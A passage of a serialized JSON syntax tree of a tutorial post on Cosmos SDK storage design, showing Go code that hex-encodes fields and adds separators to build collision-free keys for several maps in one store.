:32,"value":10025},{"type":26,"tag":217,"props":86669,"children":86670},{"class":7028,"line":7754},[86671],{"type":26,"tag":217,"props":86672,"children":86673},{"emptyLinePlaceholder":17},[86674],{"type":32,"value":7817},{"type":26,"tag":217,"props":86676,"children":86677},{"class":7028,"line":7784},[86678,86682,86686,86690,86694,86698],{"type":26,"tag":217,"props":86679,"children":86680},{"style":7054},[86681],{"type":32,"value":86087},{"type":26,"tag":217,"props":86683,"children":86684},{"style":7149},[86685],{"type":32,"value":77267},{"type":26,"tag":217,"props":86687,"children":86688},{"style":7054},[86689],{"type":32,"value":83114},{"type":26,"tag":217,"props":86691,"children":86692},{"style":7048},[86693],{"type":32,"value":180},{"type":26,"tag":217,"props":86695,"children":86696},{"style":7064},[86697],{"type":32,"value":86104},{"type":26,"tag":217,"props":86699,"children":86700},{"style":7048},[86701],{"type":32,"value":10932},{"type":26,"tag":217,"props":86703,"children":86704},{"class":7028,"line":7802},[86705,86709],{"type":26,"tag":217,"props":86706,"children":86707},{"style":7338},[86708],{"type":32,"value":86270},{"type":26,"tag":217,"props":86710,"children":86711},{"style":7048},[86712],{"type":32,"value":10953},{"type":26,"tag":217,"props":86714,"children":86715},{"class":7028,"line":7811},[86716,86720],{"type":26,"tag":217,"props":86717,"children":86718},{"style":7054},[86719],{"type":32,"value":86128},{"type":26,"tag":217,"props":86721,"children":86722},{"style":7048},[86723],{"type":32,"value":10953},{"type":26,"tag":217,"props":86725,"children":86726},{"class":7028,"line":7820},[86727,86731],{"type":26,"tag":217,"props":86728,"children":86729},{"style":7054},[86730],{"type":32,"value":86212},{"type":26,"tag":217,"props":86732,"children":86733},{"style":7048},[86734],{"type":32,"value":10953},{"type":26,"tag":217,"props":86736,"children":86737},{"class":7028,"line":7844},[86738,86743],{"type":26,"tag":217,"props":86739,"children":86740},{"style":7054},[86741],{"type":32,"value":86742},"    usernameEncoded",{"type":26,"tag":217,"props":86744,"children":86745},{"style":7048},[86746],{"type":32,"value":10953},{"type":26,"tag":217,"props":86748,"children":86749},{"class":7028,"line":7910},[86750,86754],{"type":26,"tag":217,"props":86751,"children":86752},{"style":7054},[86753],{"type":32,"value":86212},{"type":26,"tag":217,"props":86755,"children":86756},{"style":7048},[86757],{"type":32,"value":10953},{"type":26,"tag":217,"props":86759,"children":86760},{"class":7028,"line":7954},[86761],{"type":26,"tag":217,"props":86762,"children":86763},{"style":7054},[86764],{"type":32,"value":86765},"    positionNameEncoded\n",{"type":26,"tag":217,"props":86767,"children":86768},{"class":7028,"line":7985},[86769],{"type":26,"tag":217,"props":86770,"children":86771},{"style":7048},[86772],{"type":32,"value":10025},{"type":26,"tag":39,"props":86774,"children":86775},{},[86776,86778,86783],{"type":32,"value":86777},"We did it. We finally eliminated all potential ",{"type":26,"tag":83,"props":86779,"children":86781},{"className":86780},[],[86782],{"type":32,"value":86087},{"type":32,"value":86784}," collisions.",{"type":26,"tag":39,"props":86786,"children":86787},{},[86788],{"type":32,"value":86789},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":26,"tag":39,"props":86791,"children":86792},{},[86793,86795,86800,86802,86807,86809,86814,86816,86821,86823,86829],{"type":32,"value":86794},"In the Cosmos framework, it is common for each ",{"type":26,"tag":83,"props":86796,"children":86798},{"className":86797},[],[86799],{"type":32,"value":26279},{"type":32,"value":86801}," to own a few ",{"type":26,"tag":83,"props":86803,"children":86805},{"className":86804},[],[86806],{"type":32,"value":85858},{"type":32,"value":86808}," and have individual ",{"type":26,"tag":83,"props":86810,"children":86812},{"className":86811},[],[86813],{"type":32,"value":80827},{"type":32,"value":86815},"s managing access to storages. It's also important to note that each ",{"type":26,"tag":83,"props":86817,"children":86819},{"className":86818},[],[86820],{"type":32,"value":85858},{"type":32,"value":86822}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":26,"tag":83,"props":86824,"children":86826},{"className":86825},[],[86827],{"type":32,"value":86828},"Modules",{"type":32,"value":180},{"type":26,"tag":39,"props":86831,"children":86832},{},[86833,86835,86840],{"type":32,"value":86834},"With that being said, what if we have to maintain more than one structure within the same ",{"type":26,"tag":83,"props":86836,"children":86838},{"className":86837},[],[86839],{"type":32,"value":85858},{"type":32,"value":605},{"type":26,"tag":39,"props":86842,"children":86843},{},[86844,86846,86852,86854,86859],{"type":32,"value":86845},"To demonstrate this scenario, we introduce the ",{"type":26,"tag":83,"props":86847,"children":86849},{"className":86848},[],[86850],{"type":32,"value":86851},"NameToAddressMap",{"type":32,"value":86853}," structure, which will be stored in the same ",{"type":26,"tag":83,"props":86855,"children":86857},{"className":86856},[],[86858],{"type":32,"value":85858},{"type":32,"value":86860}," we previously used.",{"type":26,"tag":207,"props":86862,"children":86864},{"code":86863,"language":77016,"meta":8,"className":77017,"style":8},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[86865],{"type":26,"tag":83,"props":86866,"children":86867},{"__ignoreMap":8},[86868,86883,86898,86905,86920,86939,86954,86961,86976,87031,87038,87054,87074,87089,87096,87112],{"type":26,"tag":217,"props":86869,"children":86870},{"class":7028,"line":7029},[86871,86875,86879],{"type":26,"tag":217,"props":86872,"children":86873},{"style":7154},[86874],{"type":32,"value":16194},{"type":26,"tag":217,"props":86876,"children":86877},{"style":7119},[86878],{"type":32,"value":85904},{"type":26,"tag":217,"props":86880,"children":86881},{"style":7119},[86882],{"type":32,"value":77055},{"type":26,"tag":217,"props":86884,"children":86885},{"class":7028,"line":6770},[86886,86890,86894],{"type":26,"tag":217,"props":86887,"children":86888},{"style":7154},[86889],{"type":32,"value":16194},{"type":26,"tag":217,"props":86891,"children":86892},{"style":7119},[86893],{"type":32,"value":85920},{"type":26,"tag":217,"props":86895,"children":86896},{"style":7119},[86897],{"type":32,"value":12229},{"type":26,"tag":217,"props":86899,"children":86900},{"class":7028,"line":6779},[86901],{"type":26,"tag":217,"props":86902,"children":86903},{"emptyLinePlaceholder":17},[86904],{"type":32,"value":7817},{"type":26,"tag":217,"props":86906,"children":86907},{"class":7028,"line":7140},[86908,86912,86916],{"type":26,"tag":217,"props":86909,"children":86910},{"style":7154},[86911],{"type":32,"value":16194},{"type":26,"tag":217,"props":86913,"children":86914},{"style":7119},[86915],{"type":32,"value":85936},{"type":26,"tag":217,"props":86917,"children":86918},{"style":7119},[86919],{"type":32,"value":12229},{"type":26,"tag":217,"props":86921,"children":86922},{"class":7028,"line":7165},[86923,86927,86931,86935],{"type":26,"tag":217,"props":86924,"children":86925},{"style":7154},[86926],{"type":32,"value":16194},{"type":26,"tag":217,"props":86928,"children":86929},{"style":7119},[86930],{"type":32,"value":85952},{"type":26,"tag":217,"props":86932,"children":86933},{"style":7154},[86934],{"type":32,"value":77038},{"type":26,"tag":217,"props":86936,"children":86937},{"style":7048},[86938],{"type":32,"value":8064},{"type":26,"tag":217,"props":86940,"children":86941},{"class":7028,"line":7178},[86942,86946,86950],{"type":26,"tag":217,"props":86943,"children":86944},{"style":7054},[86945],{"type":32,"value":67363},{"type":26,"tag":217,"props":86947,"children":86948},{"style":7048},[86949],{"type":32,"value":77080},{"type":26,"tag":217,"props":86951,"children":86952},{"style":7119},[86953],{"type":32,"value":85109},{"type":26,"tag":217,"props":86955,"children":86956},{"class":7028,"line":7389},[86957],{"type":26,"tag":217,"props":86958,"children":86959},{"style":7048},[86960],{"type":32,"value":7184},{"type":26,"tag":217,"props":86962,"children":86963},{"class":7028,"line":7406},[86964,86968,86972],{"type":26,"tag":217,"props":86965,"children":86966},{"style":7154},[86967],{"type":32,"value":16194},{"type":26,"tag":217,"props":86969,"children":86970},{"style":7119},[86971],{"type":32,"value":85994},{"type":26,"tag":217,"props":86973,"children":86974},{"style":7149},[86975],{"type":32,"value":85999},{"type":26,"tag":217,"props":86977,"children":86978},{"class":7028,"line":7439},[86979,86983,86987,86991,86995,86999,87003,87007,87011,87015,87019,87023,87027],{"type":26,"tag":217,"props":86980,"children":86981},{"style":7154},[86982],{"type":32,"value":86007},{"type":26,"tag":217,"props":86984,"children":86985},{"style":7048},[86986],{"type":32,"value":7127},{"type":26,"tag":217,"props":86988,"children":86989},{"style":7119},[86990],{"type":32,"value":86016},{"type":26,"tag":217,"props":86992,"children":86993},{"style":7048},[86994],{"type":32,"value":21845},{"type":26,"tag":217,"props":86996,"children":86997},{"style":7154},[86998],{"type":32,"value":78426},{"type":26,"tag":217,"props":87000,"children":87001},{"style":7048},[87002],{"type":32,"value":7127},{"type":26,"tag":217,"props":87004,"children":87005},{"style":7119},[87006],{"type":32,"value":86033},{"type":26,"tag":217,"props":87008,"children":87009},{"style":7048},[87010],{"type":32,"value":21845},{"type":26,"tag":217,"props":87012,"children":87013},{"style":7154},[87014],{"type":32,"value":78426},{"type":26,"tag":217,"props":87016,"children":87017},{"style":7048},[87018],{"type":32,"value":7127},{"type":26,"tag":217,"props":87020,"children":87021},{"style":7119},[87022],{"type":32,"value":86050},{"type":26,"tag":217,"props":87024,"children":87025},{"style":7048},[87026],{"type":32,"value":21845},{"type":26,"tag":217,"props":87028,"children":87029},{"style":7119},[87030],{"type":32,"value":86059},{"type":26,"tag":217,"props":87032,"children":87033},{"class":7028,"line":7487},[87034],{"type":26,"tag":217,"props":87035,"children":87036},{"emptyLinePlaceholder":17},[87037],{"type":32,"value":7817},{"type":26,"tag":217,"props":87039,"children":87040},{"class":7028,"line":7524},[87041,87045,87050],{"type":26,"tag":217,"props":87042,"children":87043},{"style":7154},[87044],{"type":32,"value":16194},{"type":26,"tag":217,"props":87046,"children":87047},{"style":7119},[87048],{"type":32,"value":87049}," AddressName",{"type":26,"tag":217,"props":87051,"children":87052},{"style":7119},[87053],{"type":32,"value":12229},{"type":26,"tag":217,"props":87055,"children":87056},{"class":7028,"line":7553},[87057,87061,87066,87070],{"type":26,"tag":217,"props":87058,"children":87059},{"style":7154},[87060],{"type":32,"value":16194},{"type":26,"tag":217,"props":87062,"children":87063},{"style":7119},[87064],{"type":32,"value":87065}," Address",{"type":26,"tag":217,"props":87067,"children":87068},{"style":7154},[87069],{"type":32,"value":77038},{"type":26,"tag":217,"props":87071,"children":87072},{"style":7048},[87073],{"type":32,"value":8064},{"type":26,"tag":217,"props":87075,"children":87076},{"class":7028,"line":7570},[87077,87081,87085],{"type":26,"tag":217,"props":87078,"children":87079},{"style":7054},[87080],{"type":32,"value":35391},{"type":26,"tag":217,"props":87082,"children":87083},{"style":7048},[87084],{"type":32,"value":77080},{"type":26,"tag":217,"props":87086,"children":87087},{"style":7119},[87088],{"type":32,"value":85109},{"type":26,"tag":217,"props":87090,"children":87091},{"class":7028,"line":7621},[87092],{"type":26,"tag":217,"props":87093,"children":87094},{"style":7048},[87095],{"type":32,"value":7184},{"type":26,"tag":217,"props":87097,"children":87098},{"class":7028,"line":7672},[87099,87103,87108],{"type":26,"tag":217,"props":87100,"children":87101},{"style":7154},[87102],{"type":32,"value":16194},{"type":26,"tag":217,"props":87104,"children":87105},{"style":7119},[87106],{"type":32,"value":87107}," AddressMap",{"type":26,"tag":217,"props":87109,"children":87110},{"style":7149},[87111],{"type":32,"value":85999},{"type":26,"tag":217,"props":87113,"children":87114},{"class":7028,"line":7681},[87115,87119,87123,87127,87131,87135,87139,87143,87147,87151,87155,87160,87164],{"type":26,"tag":217,"props":87116,"children":87117},{"style":7154},[87118],{"type":32,"value":86007},{"type":26,"tag":217,"props":87120,"children":87121},{"style":7048},[87122],{"type":32,"value":7127},{"type":26,"tag":217,"props":87124,"children":87125},{"style":7119},[87126],{"type":32,"value":86016},{"type":26,"tag":217,"props":87128,"children":87129},{"style":7048},[87130],{"type":32,"value":21845},{"type":26,"tag":217,"props":87132,"children":87133},{"style":7154},[87134],{"type":32,"value":78426},{"type":26,"tag":217,"props":87136,"children":87137},{"style":7048},[87138],{"type":32,"value":7127},{"type":26,"tag":217,"props":87140,"children":87141},{"style":7119},[87142],{"type":32,"value":86033},{"type":26,"tag":217,"props":87144,"children":87145},{"style":7048},[87146],{"type":32,"value":21845},{"type":26,"tag":217,"props":87148,"children":87149},{"style":7154},[87150],{"type":32,"value":78426},{"type":26,"tag":217,"props":87152,"children":87153},{"style":7048},[87154],{"type":32,"value":7127},{"type":26,"tag":217,"props":87156,"children":87157},{"style":7119},[87158],{"type":32,"value":87159},"AddressName",{"type":26,"tag":217,"props":87161,"children":87162},{"style":7048},[87163],{"type":32,"value":21845},{"type":26,"tag":217,"props":87165,"children":87166},{"style":7119},[87167],{"type":32,"value":87168},"Address\n",{"type":26,"tag":39,"props":87170,"children":87171},{},[87172],{"type":32,"value":87173},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":26,"tag":207,"props":87175,"children":87177},{"code":87176,"language":77016,"meta":8,"className":77017,"style":8},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87178],{"type":26,"tag":83,"props":87179,"children":87180},{"__ignoreMap":8},[87181,87192,87207,87214,87221,87228,87244,87259,87286,87309,87328,87344,87380,87387,87422,87429,87449,87464,87499,87506,87541,87548,87576,87588,87600,87612,87624,87635,87647,87654,87661,87668,87675,87691,87706,87730,87753,87772,87787,87822,87829,87864,87871,87891,87906,87941,87948,87984,87991,88018,88029,88040,88051,88062,88073,88085,88092],{"type":26,"tag":217,"props":87182,"children":87183},{"class":7028,"line":7029},[87184,87188],{"type":26,"tag":217,"props":87185,"children":87186},{"style":7154},[87187],{"type":32,"value":74748},{"type":26,"tag":217,"props":87189,"children":87190},{"style":7048},[87191],{"type":32,"value":67966},{"type":26,"tag":217,"props":87193,"children":87194},{"class":7028,"line":6770},[87195,87199,87203],{"type":26,"tag":217,"props":87196,"children":87197},{"style":7054},[87198],{"type":32,"value":86212},{"type":26,"tag":217,"props":87200,"children":87201},{"style":7149},[87202],{"type":32,"value":8993},{"type":26,"tag":217,"props":87204,"children":87205},{"style":7338},[87206],{"type":32,"value":86221},{"type":26,"tag":217,"props":87208,"children":87209},{"class":7028,"line":6779},[87210],{"type":26,"tag":217,"props":87211,"children":87212},{"style":7048},[87213],{"type":32,"value":10025},{"type":26,"tag":217,"props":87215,"children":87216},{"class":7028,"line":7140},[87217],{"type":26,"tag":217,"props":87218,"children":87219},{"emptyLinePlaceholder":17},[87220],{"type":32,"value":7817},{"type":26,"tag":217,"props":87222,"children":87223},{"class":7028,"line":7165},[87224],{"type":26,"tag":217,"props":87225,"children":87226},{"emptyLinePlaceholder":17},[87227],{"type":32,"value":7817},{"type":26,"tag":217,"props":87229,"children":87230},{"class":7028,"line":7178},[87231,87235,87240],{"type":26,"tag":217,"props":87232,"children":87233},{"style":7154},[87234],{"type":32,"value":26409},{"type":26,"tag":217,"props":87236,"children":87237},{"style":7064},[87238],{"type":32,"value":87239}," PositionMapKey",{"type":26,"tag":217,"props":87241,"children":87242},{"style":7048},[87243],{"type":32,"value":10932},{"type":26,"tag":217,"props":87245,"children":87246},{"class":7028,"line":7389},[87247,87251,87255],{"type":26,"tag":217,"props":87248,"children":87249},{"style":7054},[87250],{"type":32,"value":86128},{"type":26,"tag":217,"props":87252,"children":87253},{"style":7119},[87254],{"type":32,"value":77272},{"type":26,"tag":217,"props":87256,"children":87257},{"style":7048},[87258],{"type":32,"value":10953},{"type":26,"tag":217,"props":87260,"children":87261},{"class":7028,"line":7406},[87262,87266,87270,87274,87278,87282],{"type":26,"tag":217,"props":87263,"children":87264},{"style":7054},[87265],{"type":32,"value":86140},{"type":26,"tag":217,"props":87267,"children":87268},{"style":7048},[87269],{"type":32,"value":7599},{"type":26,"tag":217,"props":87271,"children":87272},{"style":7054},[87273],{"type":32,"value":86621},{"type":26,"tag":217,"props":87275,"children":87276},{"style":7048},[87277],{"type":32,"value":77080},{"type":26,"tag":217,"props":87279,"children":87280},{"style":7119},[87281],{"type":32,"value":85645},{"type":26,"tag":217,"props":87283,"children":87284},{"style":7048},[87285],{"type":32,"value":10953},{"type":26,"tag":217,"props":87287,"children":87288},{"class":7028,"line":7439},[87289,87293,87297,87301,87305],{"type":26,"tag":217,"props":87290,"children":87291},{"style":7048},[87292],{"type":32,"value":77233},{"type":26,"tag":217,"props":87294,"children":87295},{"style":7054},[87296],{"type":32,"value":78360},{"type":26,"tag":217,"props":87298,"children":87299},{"style":7048},[87300],{"type":32,"value":77080},{"type":26,"tag":217,"props":87302,"children":87303},{"style":7119},[87304],{"type":32,"value":85645},{"type":26,"tag":217,"props":87306,"children":87307},{"style":7048},[87308],{"type":32,"value":7618},{"type":26,"tag":217,"props":87310,"children":87311},{"class":7028,"line":7487},[87312,87316,87320,87324],{"type":26,"tag":217,"props":87313,"children":87314},{"style":7054},[87315],{"type":32,"value":86742},{"type":26,"tag":217,"props":87317,"children":87318},{"style":7149},[87319],{"type":32,"value":77267},{"type":26,"tag":217,"props":87321,"children":87322},{"style":7064},[87323],{"type":32,"value":86445},{"type":26,"tag":217,"props":87325,"children":87326},{"style":7048},[87327],{"type":32,"value":10932},{"type":26,"tag":217,"props":87329,"children":87330},{"class":7028,"line":7524},[87331,87336,87340],{"type":26,"tag":217,"props":87332,"children":87333},{"style":7048},[87334],{"type":32,"value":87335},"        []",{"type":26,"tag":217,"props":87337,"children":87338},{"style":7119},[87339],{"type":32,"value":85645},{"type":26,"tag":217,"props":87341,"children":87342},{"style":7048},[87343],{"type":32,"value":10953},{"type":26,"tag":217,"props":87345,"children":87346},{"class":7028,"line":7553},[87347,87352,87356,87360,87364,87368,87372,87376],{"type":26,"tag":217,"props":87348,"children":87349},{"style":7054},[87350],{"type":32,"value":87351},"        hex",{"type":26,"tag":217,"props":87353,"children":87354},{"style":7048},[87355],{"type":32,"value":180},{"type":26,"tag":217,"props":87357,"children":87358},{"style":7064},[87359],{"type":32,"value":86482},{"type":26,"tag":217,"props":87361,"children":87362},{"style":7048},[87363],{"type":32,"value":1851},{"type":26,"tag":217,"props":87365,"children":87366},{"style":7064},[87367],{"type":32,"value":15325},{"type":26,"tag":217,"props":87369,"children":87370},{"style":7048},[87371],{"type":32,"value":1851},{"type":26,"tag":217,"props":87373,"children":87374},{"style":7054},[87375],{"type":32,"value":86352},{"type":26,"tag":217,"props":87377,"children":87378},{"style":7048},[87379],{"type":32,"value":86503},{"type":26,"tag":217,"props":87381,"children":87382},{"class":7028,"line":7570},[87383],{"type":26,"tag":217,"props":87384,"children":87385},{"style":7048},[87386],{"type":32,"value":61246},{"type":26,"tag":217,"props":87388,"children":87389},{"class":7028,"line":7621},[87390,87394,87398,87402,87406,87410,87414,87418],{"type":26,"tag":217,"props":87391,"children":87392},{"style":7054},[87393],{"type":32,"value":86473},{"type":26,"tag":217,"props":87395,"children":87396},{"style":7048},[87397],{"type":32,"value":180},{"type":26,"tag":217,"props":87399,"children":87400},{"style":7064},[87401],{"type":32,"value":86527},{"type":26,"tag":217,"props":87403,"children":87404},{"style":7048},[87405],{"type":32,"value":1851},{"type":26,"tag":217,"props":87407,"children":87408},{"style":7054},[87409],{"type":32,"value":86436},{"type":26,"tag":217,"props":87411,"children":87412},{"style":7048},[87413],{"type":32,"value":7599},{"type":26,"tag":217,"props":87415,"children":87416},{"style":7054},[87417],{"type":32,"value":86352},{"type":26,"tag":217,"props":87419,"children":87420},{"style":7048},[87421],{"type":32,"value":10025},{"type":26,"tag":217,"props":87423,"children":87424},{"class":7028,"line":7672},[87425],{"type":26,"tag":217,"props":87426,"children":87427},{"emptyLinePlaceholder":17},[87428],{"type":32,"value":7817},{"type":26,"tag":217,"props":87430,"children":87431},{"class":7028,"line":7681},[87432,87437,87441,87445],{"type":26,"tag":217,"props":87433,"children":87434},{"style":7054},[87435],{"type":32,"value":87436},"    positionNameEncoded",{"type":26,"tag":217,"props":87438,"children":87439},{"style":7149},[87440],{"type":32,"value":77267},{"type":26,"tag":217,"props":87442,"children":87443},{"style":7064},[87444],{"type":32,"value":86445},{"type":26,"tag":217,"props":87446,"children":87447},{"style":7048},[87448],{"type":32,"value":10932},{"type":26,"tag":217,"props":87450,"children":87451},{"class":7028,"line":7754},[87452,87456,87460],{"type":26,"tag":217,"props":87453,"children":87454},{"style":7048},[87455],{"type":32,"value":87335},{"type":26,"tag":217,"props":87457,"children":87458},{"style":7119},[87459],{"type":32,"value":85645},{"type":26,"tag":217,"props":87461,"children":87462},{"style":7048},[87463],{"type":32,"value":10953},{"type":26,"tag":217,"props":87465,"children":87466},{"class":7028,"line":7784},[87467,87471,87475,87479,87483,87487,87491,87495],{"type":26,"tag":217,"props":87468,"children":87469},{"style":7054},[87470],{"type":32,"value":87351},{"type":26,"tag":217,"props":87472,"children":87473},{"style":7048},[87474],{"type":32,"value":180},{"type":26,"tag":217,"props":87476,"children":87477},{"style":7064},[87478],{"type":32,"value":86482},{"type":26,"tag":217,"props":87480,"children":87481},{"style":7048},[87482],{"type":32,"value":1851},{"type":26,"tag":217,"props":87484,"children":87485},{"style":7064},[87486],{"type":32,"value":15325},{"type":26,"tag":217,"props":87488,"children":87489},{"style":7048},[87490],{"type":32,"value":1851},{"type":26,"tag":217,"props":87492,"children":87493},{"style":7054},[87494],{"type":32,"value":86621},{"type":26,"tag":217,"props":87496,"children":87497},{"style":7048},[87498],{"type":32,"value":86503},{"type":26,"tag":217,"props":87500,"children":87501},{"class":7028,"line":7802},[87502],{"type":26,"tag":217,"props":87503,"children":87504},{"style":7048},[87505],{"type":32,"value":61246},{"type":26,"tag":217,"props":87507,"children":87508},{"class":7028,"line":7811},[87509,87513,87517,87521,87525,87529,87533,87537],{"type":26,"tag":217,"props":87510,"children":87511},{"style":7054},[87512],{"type":32,"value":86473},{"type":26,"tag":217,"props":87514,"children":87515},{"style":7048},[87516],{"type":32,"value":180},{"type":26,"tag":217,"props":87518,"children":87519},{"style":7064},[87520],{"type":32,"value":86527},{"type":26,"tag":217,"props":87522,"children":87523},{"style":7048},[87524],{"type":32,"value":1851},{"type":26,"tag":217,"props":87526,"children":87527},{"style":7054},[87528],{"type":32,"value":86562},{"type":26,"tag":217,"props":87530,"children":87531},{"style":7048},[87532],{"type":32,"value":7599},{"type":26,"tag":217,"props":87534,"children":87535},{"style":7054},[87536],{"type":32,"value":86621},{"type":26,"tag":217,"props":87538,"children":87539},{"style":7048},[87540],{"type":32,"value":10025},{"type":26,"tag":217,"props":87542,"children":87543},{"class":7028,"line":7820},[87544],{"type":26,"tag":217,"props":87545,"children":87546},{"emptyLinePlaceholder":17},[87547],{"type":32,"value":7817},{"type":26,"tag":217,"props":87549,"children":87550},{"class":7028,"line":7844},[87551,87556,87560,87564,87568,87572],{"type":26,"tag":217,"props":87552,"children":87553},{"style":7054},[87554],{"type":32,"value":87555},"    key",{"type":26,"tag":217,"props":87557,"children":87558},{"style":7149},[87559],{"type":32,"value":77267},{"type":26,"tag":217,"props":87561,"children":87562},{"style":7054},[87563],{"type":32,"value":83114},{"type":26,"tag":217,"props":87565,"children":87566},{"style":7048},[87567],{"type":32,"value":180},{"type":26,"tag":217,"props":87569,"children":87570},{"style":7064},[87571],{"type":32,"value":86104},{"type":26,"tag":217,"props":87573,"children":87574},{"style":7048},[87575],{"type":32,"value":10932},{"type":26,"tag":217,"props":87577,"children":87578},{"class":7028,"line":7910},[87579,87584],{"type":26,"tag":217,"props":87580,"children":87581},{"style":7338},[87582],{"type":32,"value":87583},"        \"%d%s%s%s%s\"",{"type":26,"tag":217,"props":87585,"children":87586},{"style":7048},[87587],{"type":32,"value":10953},{"type":26,"tag":217,"props":87589,"children":87590},{"class":7028,"line":7954},[87591,87596],{"type":26,"tag":217,"props":87592,"children":87593},{"style":7054},[87594],{"type":32,"value":87595},"        vaultId",{"type":26,"tag":217,"props":87597,"children":87598},{"style":7048},[87599],{"type":32,"value":10953},{"type":26,"tag":217,"props":87601,"children":87602},{"class":7028,"line":7985},[87603,87608],{"type":26,"tag":217,"props":87604,"children":87605},{"style":7054},[87606],{"type":32,"value":87607},"        Seperator",{"type":26,"tag":217,"props":87609,"children":87610},{"style":7048},[87611],{"type":32,"value":10953},{"type":26,"tag":217,"props":87613,"children":87614},{"class":7028,"line":8027},[87615,87620],{"type":26,"tag":217,"props":87616,"children":87617},{"style":7054},[87618],{"type":32,"value":87619},"        usernameEncoded",{"type":26,"tag":217,"props":87621,"children":87622},{"style":7048},[87623],{"type":32,"value":10953},{"type":26,"tag":217,"props":87625,"children":87626},{"class":7028,"line":8035},[87627,87631],{"type":26,"tag":217,"props":87628,"children":87629},{"style":7054},[87630],{"type":32,"value":87607},{"type":26,"tag":217,"props":87632,"children":87633},{"style":7048},[87634],{"type":32,"value":10953},{"type":26,"tag":217,"props":87636,"children":87637},{"class":7028,"line":8067},[87638,87643],{"type":26,"tag":217,"props":87639,"children":87640},{"style":7054},[87641],{"type":32,"value":87642},"        positionNameEncoded",{"type":26,"tag":217,"props":87644,"children":87645},{"style":7048},[87646],{"type":32,"value":10953},{"type":26,"tag":217,"props":87648,"children":87649},{"class":7028,"line":8107},[87650],{"type":26,"tag":217,"props":87651,"children":87652},{"style":7048},[87653],{"type":32,"value":61246},{"type":26,"tag":217,"props":87655,"children":87656},{"class":7028,"line":8145},[87657],{"type":26,"tag":217,"props":87658,"children":87659},{"style":7048},[87660],{"type":32,"value":7184},{"type":26,"tag":217,"props":87662,"children":87663},{"class":7028,"line":8154},[87664],{"type":26,"tag":217,"props":87665,"children":87666},{"emptyLinePlaceholder":17},[87667],{"type":32,"value":7817},{"type":26,"tag":217,"props":87669,"children":87670},{"class":7028,"line":8162},[87671],{"type":26,"tag":217,"props":87672,"children":87673},{"emptyLinePlaceholder":17},[87674],{"type":32,"value":7817},{"type":26,"tag":217,"props":87676,"children":87677},{"class":7028,"line":8197},[87678,87682,87687],{"type":26,"tag":217,"props":87679,"children":87680},{"style":7154},[87681],{"type":32,"value":26409},{"type":26,"tag":217,"props":87683,"children":87684},{"style":7064},[87685],{"type":32,"value":87686}," AddressMapKey",{"type":26,"tag":217,"props":87688,"children":87689},{"style":7048},[87690],{"type":32,"value":10932},{"type":26,"tag":217,"props":87692,"children":87693},{"class":7028,"line":8220},[87694,87698,87702],{"type":26,"tag":217,"props":87695,"children":87696},{"style":7054},[87697],{"type":32,"value":86128},{"type":26,"tag":217,"props":87699,"children":87700},{"style":7119},[87701],{"type":32,"value":77272},{"type":26,"tag":217,"props":87703,"children":87704},{"style":7048},[87705],{"type":32,"value":10953},{"type":26,"tag":217,"props":87707,"children":87708},{"class":7028,"line":8228},[87709,87713,87717,87722,87726],{"type":26,"tag":217,"props":87710,"children":87711},{"style":7054},[87712],{"type":32,"value":86140},{"type":26,"tag":217,"props":87714,"children":87715},{"style":7048},[87716],{"type":32,"value":7599},{"type":26,"tag":217,"props":87718,"children":87719},{"style":7054},[87720],{"type":32,"value":87721},"addressName",{"type":26,"tag":217,"props":87723,"children":87724},{"style":7048},[87725],{"type":32,"value":77080},{"type":26,"tag":217,"props":87727,"children":87728},{"style":7119},[87729],{"type":32,"value":85109},{"type":26,"tag":217,"props":87731,"children":87732},{"class":7028,"line":8292},[87733,87737,87741,87745,87749],{"type":26,"tag":217,"props":87734,"children":87735},{"style":7048},[87736],{"type":32,"value":77233},{"type":26,"tag":217,"props":87738,"children":87739},{"style":7054},[87740],{"type":32,"value":78360},{"type":26,"tag":217,"props":87742,"children":87743},{"style":7048},[87744],{"type":32,"value":77080},{"type":26,"tag":217,"props":87746,"children":87747},{"style":7119},[87748],{"type":32,"value":85645},{"type":26,"tag":217,"props":87750,"children":87751},{"style":7048},[87752],{"type":32,"value":7618},{"type":26,"tag":217,"props":87754,"children":87755},{"class":7028,"line":8351},[87756,87760,87764,87768],{"type":26,"tag":217,"props":87757,"children":87758},{"style":7054},[87759],{"type":32,"value":86742},{"type":26,"tag":217,"props":87761,"children":87762},{"style":7149},[87763],{"type":32,"value":77267},{"type":26,"tag":217,"props":87765,"children":87766},{"style":7064},[87767],{"type":32,"value":86445},{"type":26,"tag":217,"props":87769,"children":87770},{"style":7048},[87771],{"type":32,"value":10932},{"type":26,"tag":217,"props":87773,"children":87774},{"class":7028,"line":8391},[87775,87779,87783],{"type":26,"tag":217,"props":87776,"children":87777},{"style":7048},[87778],{"type":32,"value":87335},{"type":26,"tag":217,"props":87780,"children":87781},{"style":7119},[87782],{"type":32,"value":85645},{"type":26,"tag":217,"props":87784,"children":87785},{"style":7048},[87786],{"type":32,"value":10953},{"type":26,"tag":217,"props":87788,"children":87789},{"class":7028,"line":8439},[87790,87794,